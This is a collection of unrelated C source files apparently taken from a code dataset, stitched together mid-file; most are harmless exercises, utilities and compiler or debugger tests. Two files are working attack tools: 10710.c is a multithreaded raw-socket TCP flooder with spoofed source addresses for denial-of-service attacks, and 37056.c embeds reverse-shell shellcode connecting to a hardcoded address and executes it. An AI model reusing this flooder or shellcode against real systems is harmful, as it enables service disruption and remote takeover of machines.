x_31_ = (((((13.0 + x_2) > (10.0 + x_3)? (13.0 + x_2) : (10.0 + x_3)) > ((17.0 + x_4) > (18.0 + x_7)? (17.0 + x_4) : (18.0 + x_7))? ((13.0 + x_2) > (10.0 + x_3)? (13.0 + x_2) : (10.0 + x_3)) : ((17.0 + x_4) > (18.0 + x_7)? (17.0 + x_4) : (18.0 + x_7))) > (((8.0 + x_8) > (3.0 + x_9)? (8.0 + x_8) : (3.0 + x_9)) > ((5.0 + x_10) > (17.0 + x_11)? (5.0 + x_10) : (17.0 + x_11))? ((8.0 + x_8) > (3.0 + x_9)? (8.0 + x_8) : (3.0 + x_9)) : ((5.0 + x_10) > (17.0 + x_11)? (5.0 + x_10) : (17.0 + x_11)))? (((13.0 + x_2) > (10.0 + x_3)? (13.0 + x_2) : (10.0 + x_3)) > ((17.0 + x_4) > (18.0 + x_7)? (17.0 + x_4) : (18.0 + x_7))? ((13.0 + x_2) > (10.0 + x_3)? (13.0 + x_2) : (10.0 + x_3)) : ((17.0 + x_4) > (18.0 + x_7)? (17.0 + x_4) : (18.0 + x_7))) : (((8.0 + x_8) > (3.0 + x_9)? (8.0 + x_8) : (3.0 + x_9)) > ((5.0 + x_10) > (17.0 + x_11)? (5.0 + x_10) : (17.0 + x_11))? ((8.0 + x_8) > (3.0 + x_9)? (8.0 + x_8) : (3.0 + x_9)) : ((5.0 + x_10) > (17.0 + x_11)? (5.0 + x_10) : (17.0 + x_11)))) > ((((17.0 + x_13) > (9.0 + x_14)? (17.0 + x_13) : (9.0 + x_14)) > ((1.0 + x_17) > (12.0 + x_24)? (1.0 + x_17) : (12.0 + x_24))? ((17.0 + x_13) > (9.0 + x_14)? (17.0 + x_13) : (9.0 + x_14)) : ((1.0 + x_17) > (12.0 + x_24)? (1.0 + x_17) : (12.0 + x_24))) > (((3.0 + x_26) > (11.0 + x_27)? (3.0 + x_26) : (11.0 + x_27)) > ((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31))? ((3.0 + x_26) > (11.0 + x_27)? (3.0 + x_26) : (11.0 + x_27)) : ((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31)))? (((17.0 + x_13) > (9.0 + x_14)? (17.0 + x_13) : (9.0 + x_14)) > ((1.0 + x_17) > (12.0 + x_24)? (1.0 + x_17) : (12.0 + x_24))? ((17.0 + x_13) > (9.0 + x_14)? (17.0 + x_13) : (9.0 + x_14)) : ((1.0 + x_17) > (12.0 + x_24)? (1.0 + x_17) : (12.0 + x_24))) : (((3.0 + x_26) > (11.0 + x_27)? (3.0 + x_26) : (11.0 + x_27)) > ((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31))? ((3.0 + x_26) > (11.0 + x_27)? (3.0 + x_26) : (11.0 + x_27)) : ((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31))))? ((((13.0 + x_2) > (10.0 + x_3)? (13.0 + x_2) : (10.0 + x_3)) > ((17.0 + x_4) > (18.0 + x_7)? (17.0 + x_4) : (18.0 + x_7))? ((13.0 + x_2) > (10.0 + x_3)? (13.0 + x_2) : (10.0 + x_3)) : ((17.0 + x_4) > (18.0 + x_7)? (17.0 + x_4) : (18.0 + x_7))) > (((8.0 + x_8) > (3.0 + x_9)? (8.0 + x_8) : (3.0 + x_9)) > ((5.0 + x_10) > (17.0 + x_11)? (5.0 + x_10) : (17.0 + x_11))? ((8.0 + x_8) > (3.0 + x_9)? (8.0 + x_8) : (3.0 + x_9)) : ((5.0 + x_10) > (17.0 + x_11)? (5.0 + x_10) : (17.0 + x_11)))? (((13.0 + x_2) > (10.0 + x_3)? (13.0 + x_2) : (10.0 + x_3)) > ((17.0 + x_4) > (18.0 + x_7)? (17.0 + x_4) : (18.0 + x_7))? ((13.0 + x_2) > (10.0 + x_3)? (13.0 + x_2) : (10.0 + x_3)) : ((17.0 + x_4) > (18.0 + x_7)? (17.0 + x_4) : (18.0 + x_7))) : (((8.0 + x_8) > (3.0 + x_9)? (8.0 + x_8) : (3.0 + x_9)) > ((5.0 + x_10) > (17.0 + x_11)? (5.0 + x_10) : (17.0 + x_11))? ((8.0 + x_8) > (3.0 + x_9)? (8.0 + x_8) : (3.0 + x_9)) : ((5.0 + x_10) > (17.0 + x_11)? (5.0 + x_10) : (17.0 + x_11)))) : ((((17.0 + x_13) > (9.0 + x_14)? (17.0 + x_13) : (9.0 + x_14)) > ((1.0 + x_17) > (12.0 + x_24)? (1.0 + x_17) : (12.0 + x_24))? ((17.0 + x_13) > (9.0 + x_14)? (17.0 + x_13) : (9.0 + x_14)) : ((1.0 + x_17) > (12.0 + x_24)? (1.0 + x_17) : (12.0 + x_24))) > (((3.0 + x_26) > (11.0 + x_27)? (3.0 + x_26) : (11.0 + x_27)) > ((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31))? ((3.0 + x_26) > (11.0 + x_27)? (3.0 + x_26) : (11.0 + x_27)) : ((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31)))? (((17.0 + x_13) > (9.0 + x_14)? (17.0 + x_13) : (9.0 + x_14)) > ((1.0 + x_17) > (12.0 + x_24)? (1.0 + x_17) : (12.0 + x_24))? ((17.0 + x_13) > (9.0 + x_14)? (17.0 + x_13) : (9.0 + x_14)) : ((1.0 + x_17) > (12.0 + x_24)? (1.0 + x_17) : (12.0 + x_24))) : (((3.0 + x_26) > (11.0 + x_27)? (3.0 + x_26) : (11.0 + x_27)) > ((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31))? ((3.0 + x_26) > (11.0 + x_27)? (3.0 + x_26) : (11.0 + x_27)) : ((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31)))));
x_0 = x_0_;
x_1 = x_1_;
x_2 = x_2_;
x_3 = x_3_;
x_4 = x_4_;
x_5 = x_5_;
x_6 = x_6_;
x_7 = x_7_;
x_8 = x_8_;
x_9 = x_9_;
x_10 = x_10_;
x_11 = x_11_;
x_12 = x_12_;
x_13 = x_13_;
x_14 = x_14_;
x_15 = x_15_;
x_16 = x_16_;
x_17 = x_17_;
x_18 = x_18_;
x_19 = x_19_;
x_20 = x_20_;
x_21 = x_21_;
x_22 = x_22_;
x_23 = x_23_;
x_24 = x_24_;
x_25 = x_25_;
x_26 = x_26_;
x_27 = x_27_;
x_28 = x_28_;
x_29 = x_29_;
x_30 = x_30_;
x_31 = x_31_;
}
return 0;
}
|
the_stack_data/1262300.c | /*
Written by Brendan G Bohannon
Free for use for whatever purpose...
This was written sometime before 2003, but I don't know when...
This converts BFN fonts into a huge TGA image...
*/
#include <stdio.h>
#include <stdlib.h>
struct tgahead_s {
unsigned char id_len, ctype, itype;
short cindex, clength;
unsigned char csize;
unsigned short x_origin, y_origin, width, height;
unsigned char bpp, attrib;
};
int main(int argc, char *argv[])
{
FILE *fd, *ofd;
char *buf, *outbuf;
char head[18];
int s, e, w, h;
int i, j, k, l;
int x, y, rx, ry;
int cw, ch;
fd=fopen(argv[1], "rb");
ofd=fopen(argv[2], "wb");
s=fgetc(fd);
s+=fgetc(fd)<<8;
e=fgetc(fd);
e+=fgetc(fd)<<8;
if(s==0xBF00)
{
buf=malloc(16);
fread(buf, 1, e, fd);
cw=buf[1];
ch=buf[2];
}else
{
printf("no header\n");
exit(-1);
}
outbuf=malloc(65536*cw*ch*3);
memset(outbuf, 0, 65536*cw*ch*3);
w=256*cw;
h=256*ch;
memset(head, 0, 18);
head[2]=2;
head[12]=w&0xff;
head[13]=w>>8;
head[14]=h&0xff;
head[15]=h>>8;
head[16]=24;
fwrite(head, 1, 18, ofd);
while(1)
{
s=fgetc(fd);
s+=fgetc(fd)<<8;
e=fgetc(fd);
e+=fgetc(fd)<<8;
if(!s && !e)break;
printf("chunk %d-%d\n", s, e);
buf=malloc(((e-s)+1)*((cw*ch)/8));
fread(buf, (e-s)+1, ((cw*ch)/8), fd);
for(i=0; i<((e-s)+1); i++)
{
j=i+s;
x=(j&0xff)*cw;
y=(j>>8)*ch;
for(k=0; k<((cw*ch)/8); k++)for(l=0; l<8; l++)
{
if(buf[(i*((cw*ch)/8))+k]&(128>>l))
{
rx=((k*8)+l)%cw;
ry=((k*8)+l)/cw;
outbuf[(((h-(y+ry)-1)*w)+(x+rx))*3]=0xff;
outbuf[(((h-(y+ry)-1)*w)+(x+rx))*3+1]=0xff;
outbuf[(((h-(y+ry)-1)*w)+(x+rx))*3+2]=0xff;
}
}
}
}
fwrite(outbuf, 256*ch, 256*cw*3, ofd);
return(0);
}
|
the_stack_data/1141636.c | #include <stdio.h>
#include <malloc.h>
int main(void)
{
int *mas;
int n = 0;
int i = 0;
int tmp = 0;
scanf("%d", &n);
mas = (int*)malloc(n * sizeof(int));
// Ввод элементов массива
for (i = 0; i < n; i++)
{
printf("a[%d] = ", i);
scanf("%d", &mas[i]);
}
combsort(mas, n);
// Вывод элементов массива
for (i = 0; i < n; i++)
printf("%d ", mas[i]);
free(mas);
getchar(); getchar();
return 0;
//scanf("%d", &n);
return 0;
}
void combsort(int*mas, int n)
{
int i = 0;
int j = 0;
int tmp;
int step;
step = (n / 1.247);
while (step >= 1)
{
for (i = 0; i + step < n; i++)
{
if (mas[i] > mas[i + step])
{
tmp = mas[i];
mas[i] = mas[i + step];
mas[i + step] = tmp;
//swap(mas[i], mas[i + step]);
}
}
step /= 1.247;
}
// сортировка пузырьком
for (i = 0; i < n - 1; i++) {
// сравниваем два соседних элемента.
for (j = 0; j < n - i - 1; j++) {
if (mas[j] > mas[j + 1]) {
// если они идут в неправильном порядке, то
// меняем их местами.
tmp = mas[i];
mas[i] = mas[i + step];
mas[i + step] = tmp;
}
}
}
}
|
the_stack_data/119129.c | #include<stdio.h>
main()
{
int a = 10;
int *ptr;
int y;
int z[] = { 20, 30, 40, 50, 60};
int *ptr2;
ptr = &a;
y = *ptr;
ptr2 = ptr;
ptr = &z[1];
printf("Value of A is :%d by ptr is :%d Value of Y is %d\n", a, *ptr, y);
ptr++;
*ptr = *ptr+1;
printf("Value of ptr is :%d\n", *ptr);
printf("Value of ptr is :%d\n", *ptr2);
}
|
the_stack_data/11498.c | #include <stdio.h>
int qtde_impar(int vetor[], int tamanho) {
int maior = 1; //precisaria ver se pode ter valores negativos
for (int cont = 0; cont < 10 ; cont++) if (vetor[cont] % 2 == 1 && vetor[cont] > maior) maior = vetor[cont];
return maior;
}
int main() {
int vetor[10] = { 8, 2, 1, 4, 5, 3, 7, 2, 9, 0 };
printf("%i\n", qtde_impar(vetor, 10));
}
//https://pt.stackoverflow.com/q/212605/101
|
the_stack_data/97013093.c | int *g;
void f(int *p) {
if(*p > 0) {
--(*p);
f(p);
}
// This can only be reached sometimes.
if(*p == -10)
*p = *g;
}
int y;
int main() {
y = 16;
y *= 10;
f(&y);
y = y / 4;
return 0;
}
|
the_stack_data/251086.c | #include <stdlib.h>
#include <unistd.h>
#include <stdarg.h>
/*
* Remove temporary files and terminate the program.
*/
void cleanup_exit(int status,...)
{
va_list ap;
char *filename;
va_start(ap,status);
while ( (filename = va_arg(ap,char *)) != NULL )
unlink(filename);
exit(status);
}
|
the_stack_data/140764254.c | double foo(double S) {
for (int J = 0; J < 10; ++J) {
for (int I = 0; I < 10; ++I)
S *= I * J;
for (int I = 0; I < 10; ++I)
S *= I;
}
return S;
}
|
the_stack_data/10710.c | /*
* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
*/
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <pthread.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netdb.h>
#include <net/if.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9
static unsigned long int Q[4096], c = 362436;
static unsigned int floodport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
int ack,syn,psh,fin,rst,urg,ptr,res2,seq;
void init_rand(unsigned long int x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
}
unsigned long int rand_cmwc(void)
{
unsigned long long int t, a = 18782LL;
static unsigned long int i = 4095;
unsigned long int x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int count)
{
register unsigned long sum = 0;
while( count > 1 ) { sum += *buf++; count -= 2; }
if(count > 0) { sum += *(unsigned char *)buf; }
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
return (unsigned short)(~sum);
}
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
struct tcp_pseudo
{
unsigned long src_addr;
unsigned long dst_addr;
unsigned char zero;
unsigned char proto;
unsigned short length;
} pseudohead;
unsigned short total_len = iph->tot_len;
pseudohead.src_addr=iph->saddr;
pseudohead.dst_addr=iph->daddr;
pseudohead.zero=0;
pseudohead.proto=IPPROTO_TCP;
pseudohead.length=htons(sizeof(struct tcphdr));
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
unsigned short *tcp = malloc(totaltcp_len);
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
unsigned short output = csum(tcp,totaltcp_len);
free(tcp);
return output;
}
void setup_ip_header(struct iphdr *iph)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
iph->id = htonl(rand()%54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = 6;
iph->check = 0;
iph->saddr = inet_addr("8.8.8.8");
}
void setup_tcp_header(struct tcphdr *tcph)
{
tcph->source = htons(rand()%65535);
tcph->seq = rand();
tcph->ack = ack;
tcph->ack_seq = seq;
tcph->psh = psh;
tcph->fin = fin;
tcph->rst = rst;
tcph->res2 = res2;
tcph->doff = 5;
tcph->syn = syn;
tcph->urg = urg;
tcph->urg_ptr = ptr;
tcph->window = rand();
tcph->check = 0;
}
void *flood(void *par1)
{
char *td = (char *)par1;
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(floodport);
sin.sin_addr.s_addr = inet_addr(td);
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s < 0){
fprintf(stderr, "Could not open raw socket.\n");
exit(-1);
}
memset(datagram, 0, MAX_PACKET_SIZE);
setup_ip_header(iph);
setup_tcp_header(tcph);
tcph->dest = htons(floodport);
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
exit(-1);
}
init_rand(time(NULL));
register unsigned int i;
i = 0;
while(1){
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
tcph->seq = rand_cmwc() & 0xFFFF;
tcph->source = htons(rand_cmwc() & 0xFFFF);
tcph->check = 0;
tcph->check = tcpcsum(iph, tcph);
pps++;
if(i >= limiter)
{
i = 0;
usleep(sleeptime);
}
i++;
}
}
int main(int argc, char *argv[ ])
{
if(argc < 7){
fprintf(stderr, "Invalid parameters!\n");
fprintf(stdout, "Usage: %s <target IP> <port> <threads> <pps limiter, -1 for no limit> <time> <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", argv[0]);
exit(-1);
}
fprintf(stdout, "Opening sockets...\n");
int num_threads = atoi(argv[3]);
floodport = atoi(argv[2]);
int maxpps = atoi(argv[4]);
limiter = 0;
pps = 0;
pthread_t thread[num_threads];
if(strstr(argv[6], "ack"))
ack = 1;
else
ack = 0;
if(strstr(argv[6], "seq"))
seq = 1;
else
seq = 0;
if(strstr(argv[6], "psh"))
psh = 1;
else
psh = 0;
if(strstr(argv[6], "fin"))
fin = 1;
else
fin = 0;
if(strstr(argv[6], "rst"))
rst = 1;
else
rst = 0;
if(strstr(argv[6], "res2"))
res2 = 1;
else
res2 = 0;
if(strstr(argv[6], "syn"))
syn = 1;
else
syn = 0;
if(strstr(argv[6], "urg"))
urg = 1;
else
urg = 0;
if(strstr(argv[6], "ptr"))
ptr = 1;
else
ptr = 0;
int multiplier = 20;
int i;
for(i = 0;i<num_threads;i++){
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
}
fprintf(stdout, "Sending attack...\n");
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
{
usleep((1000/multiplier)*1000);
if((pps*multiplier) > maxpps)
{
if(1 > limiter)
{
sleeptime+=100;
} else {
limiter--;
}
} else {
limiter++;
if(sleeptime > 25)
{
sleeptime-=25;
} else {
sleeptime = 0;
}
}
pps = 0;
}
return 0;
}
|
the_stack_data/37056.c | #include<stdio.h>
#include<string.h>
unsigned char shellcode[] = \
"\x31\xdb\xf7\xe3\xb0\x66\x53\xb3\x01\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\xc0\xa8\xf1\x80\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\xb3\x03\x89\xe1\xcd\x80\x31\xc0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
|
the_stack_data/98814.c | #include<stdio.h>
//bubble sort
int main()
{
int aList[5] = { 30,40,10,50,20 };
int i = 0, j = 0, nTmp = 0;
//
for (i = 4; i >0; i--)
{
for (j = 0; j < i; j++)
{
if (aList[j] > aList[j + 1])
{
nTmp = aList[j];
aList[j] = aList[j + 1];
aList[j + 1] = nTmp;
}
}
}
//
for (i = 0; i < 5; i++)
{
printf("%d\t", aList[i]);
}
putchar('\n');
return 0;
} |
the_stack_data/242330477.c | #include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
size_t parse_footer(uint8_t *buff, size_t file_len)
{
return ( (buff[file_len - 1] << 24) | (buff[file_len - 2] << 16) | (buff[file_len - 3] << 8) | (buff[file_len - 4]) );
}
int main()
{
FILE *main_swf = fopen("Main.swf", "rb");
fseek(main_swf, 0, SEEK_END);
size_t file_len = ftell(main_swf);
uint8_t *buff = malloc((file_len) * sizeof(*buff));
rewind(main_swf);
fread(buff, file_len, 1, main_swf);
fclose(main_swf);
size_t real_len = parse_footer(buff, file_len);
// Great use of a lambda for code readability
uint32_t xor_key = ({ uint32_t x(size_t l){ while (l > 255) l >>= 1; return l;} x(real_len);});
for (int i = 0; i < real_len; ++i)
{
buff[i] ^= xor_key;
}
*((uint32_t *)(buff + (file_len - 5))) = 0; // clearly the best way to zero out the last 4 bytes of the array
FILE *out = fopen("foe.swf","wb");
fwrite(buff, real_len, 1, out);
fclose(out);
}
|
the_stack_data/1091687.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
main(int argc, char *args[argc])
{
printf("PID: %ld\n", (long) getpid());
exit(EXIT_SUCCESS);
}
|
the_stack_data/25139208.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/sem.h>
#define IPC_PATH "/home"
union semun
{
int val;
struct semid_ds *buf;
unsigned short *array;
};
void do1(key_t key)
{
pid_t pid;
pid = fork();
if (pid == -1)
{
printf("fork fail\n");
return;
}
else if (pid == 0)
{
printf("son start, pid = %d, ppid = %d\n", getpid(), getppid());
int ret = 0;
int flag = IPC_CREAT | IPC_EXCL;
int semid = semget(key, 1, flag | 0666);
if (semid == -1)
{
perror("semget fail\n");
}
else
{
union semun sun;
sun.val = 10;
ret = semctl(semid, 0, SETVAL, sun);
if (ret == -1)
{
printf("semctl fail\n");
}
printf("1 nsem = %d\n", semctl(semid, 0, GETVAL));
struct sembuf ops[2];
ops[0].sem_num = 0;
ops[0].sem_op = -1;
ops[0].sem_flg = 0;
ret = semop(semid, ops, 1);
if (ret == -1)
{
printf("semop fail\n");
}
printf("2 nsem = %d\n", semctl(semid, 0, GETVAL));
for (int i = 0; i < 10; ++i)
{
ret = semop(semid, ops, 1);
if (ret == -1)
{
printf("semop fail\n");
break;
}
printf("3 nsem = %d\n", semctl(semid, 0, GETVAL));
}
struct semid_ds sds;
sun.buf = &sds;
ret = semctl(semid, 0, IPC_STAT, sun);
if (ret == -1)
{
perror("semctl fail\n");
}
printf("%ld %ld %ld\n", sds.sem_nsems, sds.sem_otime, sds.sem_ctime);
/*ret = semctl(semid, 0, IPC_RMID);
if (ret == -1)
{
printf("semctl fail\n");
}*/
}
printf("son end, pid = %d, ppid = %d\n", getpid(), getppid());
exit(0);
}
else
{
sleep(2);
int ret = 0;
int flag = IPC_CREAT;
int semid = semget(key, 1, flag | 0666);
if (semid == -1)
{
perror("semget fail\n");
}
else
{
printf("4 nsem = %d\n", semctl(semid, 0, GETVAL));
struct sembuf ops[2];
ops[0].sem_num = 0;
ops[0].sem_op = 1;
ops[0].sem_flg = 0;
ret = semop(semid, ops, 1);
if (ret == -1)
{
printf("semop fail\n");
}
printf("5 nsem = %d\n", semctl(semid, 0, GETVAL));
sleep(2);
for (int i = 0; i < 20; ++i)
{
ret = semop(semid, ops, 1);
if (ret == -1)
{
printf("semop fail\n");
break;
}
printf("6 nsem = %d\n", semctl(semid, 0, GETVAL));
}
struct semid_ds sds;
union semun sun;
sun.buf = &sds;
ret = semctl(semid, 0, IPC_STAT, sun);
if (ret == -1)
{
printf("semctl fail\n");
}
printf("%ld %ld %ld\n", sds.sem_nsems, sds.sem_otime, sds.sem_ctime);
ret = semctl(semid, 0, IPC_RMID);
if (ret == -1)
{
printf("semctl fail\n");
}
}
int status = 0;
ret = waitpid(pid, &status, 0);
if (ret == -1)
{
printf("son ret = %d, status = %d\n", ret, status);
return;
}
printf("son ret = %d, status = %d\n", ret, status);
}
}
void do2(key_t key)
{
int flag = IPC_CREAT | IPC_EXCL;
int semid = semget(key, 1, flag | 0666);
if (semid == -1)
{
perror("semget fail\n");
return;
}
union semun sun;
sun.val = 10;
int ret = 0;
ret = semctl(semid, 0, SETVAL, sun);
if (ret == -1)
{
printf("semctl fail\n");
return;
}
pid_t pid;
pid = fork();
if (pid == -1)
{
printf("fork fail\n");
return;
}
else if (pid == 0)
{
printf("son start, pid = %d, ppid = %d\n", getpid(), getppid());
printf("1 nsem = %d\n", semctl(semid, 0, GETVAL));
struct sembuf ops[2];
ops[0].sem_num = 0;
ops[0].sem_op = -1;
ops[0].sem_flg = 0;
ret = semop(semid, ops, 1);
if (ret == -1)
{
printf("semop fail\n");
}
printf("2 nsem = %d\n", semctl(semid, 0, GETVAL));
for (int i = 0; i < 10; ++i)
{
ret = semop(semid, ops, 1);
if (ret == -1)
{
printf("semop fail\n");
break;
}
printf("3 nsem = %d\n", semctl(semid, 0, GETVAL));
}
struct semid_ds sds;
sun.buf = &sds;
ret = semctl(semid, 0, IPC_STAT, sun);
if (ret == -1)
{
perror("semctl fail\n");
}
printf("%ld %ld %ld\n", sds.sem_nsems, sds.sem_otime, sds.sem_ctime);
printf("son end, pid = %d, ppid = %d\n", getpid(), getppid());
exit(0);
}
else
{
sleep(2);
printf("4 nsem = %d\n", semctl(semid, 0, GETVAL));
struct sembuf ops[2];
ops[0].sem_num = 0;
ops[0].sem_op = 1;
ops[0].sem_flg = 0;
ret = semop(semid, ops, 1);
if (ret == -1)
{
printf("semop fail\n");
}
printf("5 nsem = %d\n", semctl(semid, 0, GETVAL));
sleep(2);
for (int i = 0; i < 20; ++i)
{
ret = semop(semid, ops, 1);
if (ret == -1)
{
printf("semop fail\n");
break;
}
printf("6 nsem = %d\n", semctl(semid, 0, GETVAL));
}
struct semid_ds sds;
union semun sun;
sun.buf = &sds;
ret = semctl(semid, 0, IPC_STAT, sun);
if (ret == -1)
{
printf("semctl fail\n");
}
printf("%ld %ld %ld\n", sds.sem_nsems, sds.sem_otime, sds.sem_ctime);
ret = semctl(semid, 0, IPC_RMID);
if (ret == -1)
{
printf("semctl fail\n");
}
int status = 0;
ret = waitpid(pid, &status, 0);
if (ret == -1)
{
printf("son ret = %d, status = %d\n", ret, status);
return;
}
printf("son ret = %d, status = %d\n", ret, status);
}
}
int main(int argc, char const *argv[])
{
key_t key;
key = ftok(IPC_PATH, 'b');
if (key == -1)
{
printf("ftok fail\n");
return -1;
}
printf("key:%d\n", key);
//do1(key);
do2(key);
return 0;
} |
the_stack_data/14199115.c | /* This testcase is part of GDB, the GNU debugger.
Copyright 2007-2017 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
void
pendfunc1 (int x)
{
int y = x + 4;
}
void
pendfunc2 (int x)
{
}
void
pendfunc (int x)
{
pendfunc1 (x);
pendfunc2 (x);
}
|
the_stack_data/106065.c | #include <stdio.h>
#include <stdlib.h>
//BAEKJOON 2004, The Number of 0s(조합 0의 개수), LDH
int countFiveTwo(int, int);
int main(int argc, char* argv[], char* env[])
{
int n, m = 0;
int five, two = 0;
int result = 0;
scanf("%d %d", &n, &m);
//m이 n보다 클 경우 처리
if(m > n)
{
fprintf(stderr, "Wrong input\n");
exit(EXIT_FAILURE);
}
//n! / (n-m)!*m! 연산
//5와 2중에 적은 개수를 가지고 있는 것이 최종 끝자리에 나오는 0의 개수 의미
//끝자리에 0이 나온다는 것이 2x5의 조합으로 만들어지기 때문에
five = countFiveTwo(1, n) - countFiveTwo(1, m)- countFiveTwo(1, n-m);
two = countFiveTwo(2, n) - countFiveTwo(2, m) - countFiveTwo(2, n-m);
//5의 개수와 2의 개수 중 적은 수를 출력하기 위해 최소값 찾기
if(two > five)
{
result = five;
}
else
{
result = two;
}
//결과 출력
printf("%d\n", result);
return 0;
}
//2와 5의 개수를 찾는 함수, flag==1 -> 5찾기, flga==2 -> 2찾기
int countFiveTwo(int flag, int temp)
{
int res = 0;
if(flag == 1)
{
for(long i=5; temp/i > 0; i*=5)
{
res += temp/i;
}
}
else if(flag == 2)
{
for(long i=2; temp/i > 0; i*=2)
{
res += temp/i;
}
}
return res;
} |
the_stack_data/29292.c | /*
* Copyright (c) [2020-2021] Huawei Technologies Co.,Ltd.All rights reserved.
*
* OpenArkCompiler is licensed under Mulan PSL v2.
* You can use this software according to the terms and conditions of the Mulan PSL v2.
* You may obtain a copy of Mulan PSL v2 at:
*
* http://license.coscl.org.cn/MulanPSL2
*
* THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR
* FIT FOR A PARTICULAR PURPOSE.
* See the Mulan PSL v2 for more details.
*/
int func1() {
return 1;
}
int main() {
int a, b, c;
// CHECK: if (cior i32 (
// CHECK-NEXT: ne u1 i32 (dread i32 %a_21_3, constval i32 0),
// CHECK-NEXT: ne u1 i32 (dread i32 %b_21_3, constval i32 0))) {
// CHECK-NEXT: }
if (a || b) {
}
// CHECK: dassign %shortCircuit_[[# IDX:]] 0 (cior i32 (
// CHECK-NEXT: ne u1 i32 (dread i32 %a_21_3, constval i32 0),
// CHECK-NEXT: ne u1 i32 (dread i32 %b_21_3, constval i32 0)))
// CHECK-NEXT: brtrue @shortCircuit_label_[[# IDX:]] (dread i32 %shortCircuit_[[# IDX:]])
// CHECK-NEXT: callassigned &func1 () { dassign %retVar_[[# IDX:]] 0 }
// CHECK-NEXT: dassign %shortCircuit_[[# IDX:]] 0 (ne u1 i32 (dread i32 %retVar_[[# IDX:]], constval i32 0))
// CHECK-NEXT: @shortCircuit_label_[[# IDX:]] if (ne u1 i32 (dread i32 %shortCircuit_[[# IDX:]], constval i32 0)) {
// CHECK-NEXT: }
if (a || b || func1()) {
}
// CHECK: callassigned &func1 () { dassign %retVar_[[# IDX:]] 0 }
// CHECK-NEXT: if (cior i32 (
// CHECK-NEXT: cior i32 (
// CHECK-NEXT: ne u1 i32 (dread i32 %retVar_[[# IDX:]], constval i32 0),
// CHECK-NEXT: ne u1 i32 (dread i32 %a_21_3, constval i32 0)),
